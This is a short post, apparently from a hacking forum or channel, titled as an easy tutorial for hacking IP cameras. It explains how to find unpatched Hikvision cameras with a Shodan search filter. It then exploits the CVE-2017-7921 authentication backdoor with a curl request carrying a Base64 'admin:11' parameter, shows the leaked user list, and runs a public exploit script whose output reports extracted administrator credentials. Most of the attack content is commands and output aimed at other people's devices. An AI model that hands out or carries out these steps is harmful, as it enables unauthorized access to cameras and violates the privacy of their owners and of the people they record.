🎥 Easy tutorial for hacking IP cameras

[MrXtream]

How to easily hack IP cameras:

1. Vulnerability Overview

CVE ID: CVE-2017-7921
Affected products: Hikvision IP cameras and NVRs (2016 and earlier firmware)
Vulnerability type: Information disclosure / Authentication backdoor
Primary impact: Unauthorized access to credentials and administrator configuration
Patch date: 2017 (Official Hikvision update)
Attack vector: Default authentication bypassed via Base64-encoded parameter

2. Recognition and Detection

Using the audit platform
Shodan / Census IoT: Search engines specializing in indexing exposed network devices.
Search filter (conceptual example)

"App-webs" "200 OK" "2016" text product:"Hikvision IP Camera"

Note: The filter targeting the year 2016 helps identify unupdated firmware versions predating the patch release.

3. Verification mechanism (diagnostic PoC)

The vulnerability lies in a user management request that processes a pre-encoded authentication parameter.
Manual vulnerability test (PowerShell / Terminal)

curl.exe -v "http://[IP_CIBLE]:[PORT]/Security/users?auth=YWRtaW46MTEK"

Note: The parameter auth=YWRtaW46MTEK corresponds to the string admin:11 encoded in Base64 (a known backdoor).

Response structure in the event of a vulnerability (HTTP 200 OK)

HTTP/1.1 200 OK
Date: Wed, 07 Jul 2004 15:33:10 GMT
Server: App-webs/
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<UserList version="1.0">
 <User>
 <id>1</id>
 <userName>admin</userName>
 <priority>high</priority>
 <userLevel>Administrator</userLevel>
 </User>
</UserList>

Indicator: The server returns the XML list of users without requiring prior valid authentication.

4. Extraction and analysis of secret identifiers

Automated penetration testing scripts (CVE-2017-7921.py) make it possible to check for the presence of this vulnerability on the camera.

CVE-2017-7921-EXPLOIT/CVE-2017-7921.py at main · K3ysTr0K3R/CVE-2017-7921-EXPLOIT

# Audit test execution command
python CVE-2017-7921.py -u [IP]:[PORT]
# Typical assessment scan result
[STAT] PoC Exploit CVE-2017-7921 - Hikvision Info Disclosure
[INFO] Scanning target: [IP]:[PORT]
[RESULT] Vulnerable - Credentials extracted: admin:Admin123456
[INFO] Audit output written to: results.csv

For more information, check out the GitHub project: GitHub - xjghnxhlh/hikihack: Hikvision CVE-2017-7921 hack